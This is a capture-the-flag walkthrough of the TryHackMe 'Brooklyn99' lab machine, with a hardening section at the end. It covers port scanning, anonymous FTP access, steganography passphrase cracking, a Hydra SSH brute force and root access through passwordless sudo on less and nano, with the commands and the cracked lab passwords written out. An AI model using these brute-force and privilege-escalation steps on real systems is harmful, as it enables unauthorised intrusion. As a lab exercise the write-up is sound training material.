Brooklyn99

URL:

https://tryhackme.com/room/brooklynninenine

Description:

This is a very basic level machine that will show us the basics of steganography, mismanaged FTP servers, poor security and misconfigured superuser binary access.

Enumeration:

We start with a Rustscan_[1] to quickly find any available ports, with an Nmap report on the service versions found on the discovered ports.

sudo rustscan -a 10.10.91.13 -- -sV -sS -oN anonymous_nmap.txt

The above scan is referencing the IP address to be scanned (10.10.91.13) and calling for the following parameters from Nmap_[2]:

Nmap Commands Overview:
-sV = Checks to see what the version is of the service running on the scanned ports.
-sS = Type of scan (SYN Scan) being used. Considered a slower and and more silent scan. However, due to me running this with rustscan (which is a loud scanner) there is no real advantage doing this. I am just use to it.
-oN = Saving the output to a text file I have named. This is so I can review the results later if necessary.

Results:

# Nmap 7.91 scan initiated Thu Aug 26 19:37:35 2021 as: nmap -vvv -p 22,80,21 -sV -sS -oN brooklyn99_nmap.txt 10.10.15.37
Nmap scan report for 10.10.15.37
Host is up, received echo-reply ttl 61 (0.29s latency).
Scanned at 2021-08-26 19:37:35 EDT for 10s

PORT	STATE	SERVICE	REASON	VERSION
21/tcp	open	ftp	syn-ack ttl 61	vsftpd 3.0.3
22/tcp	open	ssh	syn-ack ttl 61	OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp	open	http	syn-ack ttl 61	Apache httpd 2.4.29 ((Ubuntu))

Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

We have found the machine has an FTP server, web-server and has SSH enabled. First thing first, lets check to see if 'anonymous' is enabled on the FTP server.

ftp 10.10.15.37
Connected to 10.10.15.37.
220 (vsFTPd 3.0.3)
Name (10.10.15.37:kali): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>

Success! Lets look inside:

ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.

-rw-r--r--

119

May 17 2020

note_to_jake.txt

226 Directory send OK.
ftp> get note_to_jake.txt
local: note_to_jake.txt remote: note_to_jake.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for note_to_jake.txt (119 bytes).
226 Transfer complete.
119 bytes received in 0.00 secs (254.8485 kB/s)

So we were able to download a file from the FTP server using anonymous. Contents of the note:

cat note_to_jake.txt
From Amy,

Jake please change your password. It is too weak and holt will be mad if someone hacks into the nine nine

OK. We have 3 names Amy, Jake and Holt. The description of this machine states there is only 2 ways to compromise the machine. We will find the 2 accounts as we go. We know that Jake has a weak password so we can possibly use Hydra to bruteforce access into the SSH, but lets first go look at the server now and see what we can gather there:

Well that isn't much to go off. Lets look at the source code now:

Looks like some data may be hidden in the image. Hiding data in another form of data (image, audio, video) is steganography. We will need to download the image, then use a tool to retrieve the hidden data (Steghide or Stegseek). First thing first, downloading the image:

wget_[3] http://10.10.15.37/brooklyn99.jpg

Now can we retrieve the data without using a passphrase?

steghide extract -sf brooklyn99.jpg Enter passphrase: steghide: can not uncompress data. compressed data is corrupted.

Using the tool Steghide_[4], we can see that it is reporting the data may be corrupted. This may not be true, it could just be password protected meaning we need to use Stegseek to crack it. You may be wondering what is Steghide, and what parameters did I just use to get that information? Well look below for more information:

Steghide Commands Overview:
Steghide is a steganography program used to hide data in various kinds of images and audio files. This is done without affecting the color or sample frequencies one may notice doing this manually. This tool is also able to extract anything hidden within an image or audio file.
extract = this command is used to extract anything data hidden within the image/audio file.
-sf = this specifics the name of the file that you are running this command on.

Lets try a tool that uses a wordlist to bruteforce the password on the file, Stegseek_[5]:

stegseek brooklyn99.jpg
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek

[i] Found passphrase: "admin"
[i] Original filename: "note.txt".
[i] Extracting to "brooklyn99.jpg.out".

Voila! The binary has found that the passphrade is 'admin' and automatically used this to extract and save the data into the new file 'brooklyn99.jpg.out'. Lets read the content:

cat brooklyn99.jpg.out
Holts Password:
fluffydog12@ninenine

Enjoy!!

Username:Password

holt:fluffydog12@ninenine

But wait! We still have Jake's account to look for. Well I hope you are reading this to not only solve this machine, but also learn at the same time. So lets use Hydra_[6] to bruteforce Jakes password against the SSH. Lets start with seeing if we can infiltrate Jake's accounts:

hydra -l jake -P /usr/share/wordlists/rockyou.txt ssh://10.10.15.37 -V

....

[22][ssh] host: 10.10.15.37 login: jake password: 987654321

Username:Password

holt:fluffydog12@ninenine
jake:987654321

We now have 2 users we can log into the machine with. Now I want to explore both options, and from here on I will be departmentalizing this into 1 section for Jake and how to privilege escalate (if possible), and 1 for Holt and how to privilege escalate (if possible). But first, lets go back to that Hydra command. What did it do? How did it get me that password?:

Hydra Command Overview:
Hydra is a bruteforcing tool used on many different protocols, that guesses the username, password, or both to log into that protocol (SSH, HTTP, FTP, SMB, etc.)
hydra -l jake -P /usr/share/wordlists/rockyou.txt ssh://10.10.15.37 -V
-l = this sets the username in place to be tested
-P = this sets the wordlist to be used 'rockyou.txt'
- ssh://10.10.15.37 = this is the IP and protocol we are bruteforcing. As the SSH is on a default port we do not need to specify the port
-V = this is to verbose the output so I can view it is working

Resources:

[1]https://rustscan.github.io/RustScan/
[2]https://nmap.org/book/man.html
[3]https://www.man7.org/linux/man-pages/man1/wget.1.html
[4]http://steghide.sourceforge.net/documentation/manpage.php
[5]https://github.com/RickdeJager/stegseek
[6]https://www.systutorials.com/docs/linux/man/1-hydra/

Compromise:

Jake:

Lets begin with Jake. We will see if we can grab the user flag and escalate to the root account. Lets start with logging in and seeing the contents of Jakes /home directory:

ssh jake@10.10.15.37
Warning: Permanently added '10.10.15.37' (ECDSA) to the list of known hosts.
jake@10.10.15.37's password:
Last login: Tue May 26 08:56:58 2020
jake@brookly_nine_nine:~$ ls -la
total 44

drwxr-xr-x	6	jake	jake	4096	May 26 2020	.
drwxr-xr-x	5	root	root	4096	May 18 2020	..
-rw-------	1	root	root	1349	May 26 2020	.bash_history
-rw-r--r--	1	jake	jake	220	Apr 4 2018	.bash_logout
-rw-r--r--	1	jake	jake	3771	Apr 4 2018	.bashrc
drwx------	2	jake	jake	4096	May 17 2020	.cache
drwx------	3	jake	jake	4096	May 17 2020	.gnupg
-rw-------	1	root	root	67	May 26 2020	.lesshst
drwxrwxr-x	3	jake	jake	4096	May 26 2020	.local
-rw-r--r--	1	jake	jake	807	Apr 4 2018	.profile
drwx------	2	jake	jake	4096	May 18 2020	.ssh
-rw-r--r--	1	jake	jake	0	May 17 2020	.sudo_as_admin_successful

The user flag is not in here... Lets try using find to get the user flag:

jake@brookly_nine_nine:~$ find / -name user.txt -type f 2>/dev/null
/home/holt/user.txt

Hmmm.. the only user with a flag is Holt. This must be the second way into the machine, but lets continue as if it is the first.

jake@brookly_nine_nine:~$ cat /home/holt/user.txt
REDACTED

Holt:

On to Holt. Lets start with logging in via SSH and then checking the user's /home directory:

ssh holt@10.10.15.37
holt@10.10.15.37's password:
Last login: Tue May 26 08:43:28 2020
holt@brookly_nine_nine:~$ ls -la
total 48

drwxr-xr-x	6	holt	holt	4096	May 26 2020	.
drwxr-xr-x	5	root	root	4096	May 18 2020	..
-rw-------	1	holt	holt	18	May 26 2020	.bash_history
-rw-r--r--	1	holt	holt	220	May 17 2020	.bash_logout
-rw-r--r--	1	holt	holt	3771	May 17 2020	.bashrc
drwx------	2	holt	holt	4096	May 18 2020	.cache
drwx------	3	holt	holt	4096	May 18 2020	.gnupg
drwxrwxr-x	3	holt	holt	4096	May 17 2020	.local
-rw-r--r--	1	holt	holt	807	May 17 2020	.profile
drwx------	2	holt	holt	4096	May 18 2020	.ssh
-rw-------	1	root	root	110	May 18 2020	nano.save
-rw-rw-r--	1	holt	holt	33	May 17 2020	user.txt

holt@brookly_nine_nine:~$ cat user.txt
REDACTED

Now with both users compromised, lets look to see we can privilege escalate with both accounts.

Privilege escalation:

Jake:

What I normally like to check first, if the user account has any sudo privileges:

jake@brookly_nine_nine:~$ sudo -l
Matching Defaults entries for jake on brookly_nine_nine:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User jake may run the following commands on brookly_nine_nine:
(ALL) NOPASSWD: /usr/bin/less

Looks like we can use less_[7] with sudo, without a password. With this we can go ahead and just read the root flag:

jake@brookly_nine_nine:~$ sudo less /root/root.txt

-- Creator : Fsociety2006 --
Congratulations in rooting Brooklyn Nine Nine
Here is the flag: REDACTED

Enjoy!!

That semed too easy. Well what did we do? We simply used the binary less to open the root file using the superuser privilege sudo. Lets check out Holt.

Holt:

Once again, lets look to see if this user has any sudo privileges:

holt@brookly_nine_nine:~$ sudo -l
Matching Defaults entries for holt on brookly_nine_nine:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User holt may run the following commands on brookly_nine_nine:
(ALL) NOPASSWD: /bin/nano

Once again, we have a user with access to sudo without a password. This time it is nano_[8] which is a text editing binary. We can either use this to create a sudo shell, or just read the file. We will just read the file as it is required, but the commands for this can be found further on GTFOBins.

holt@brookly_nine_nine:~$ sudo nano /root/root.txt

-- Creator : Fsociety2006 --
Congratulations in rooting Brooklyn Nine Nine
Here is the flag: REDACTED

Enjoy!!

Resources:

[7]https://gtfobins.github.io/gtfobins/less/
[8]https://gtfobins.github.io/gtfobins/nano/

Hardening:

To prevent his machine from being compromised in future the following changes should be made on the device and services:

Implement a policy enforcing all users to have stronger and longer passwords to counter against bruteforcing.
Remove the anonymous access to the FTP server, or remove the sensitive information within it.
Don't use steganography. It is not a great way at hiding data.
Reconfigure the superuser access bot Holt and Jake have. If they require those binaries to have sudo access, maybe try implementing capabilites instead, if possible.

Conclusion:

This is a nice easy room to help with getting you introduced to steganography, FTP navigation, bruteforcing and how sudo privileges can compromise a machine. Thank you for reading through my walkthrough.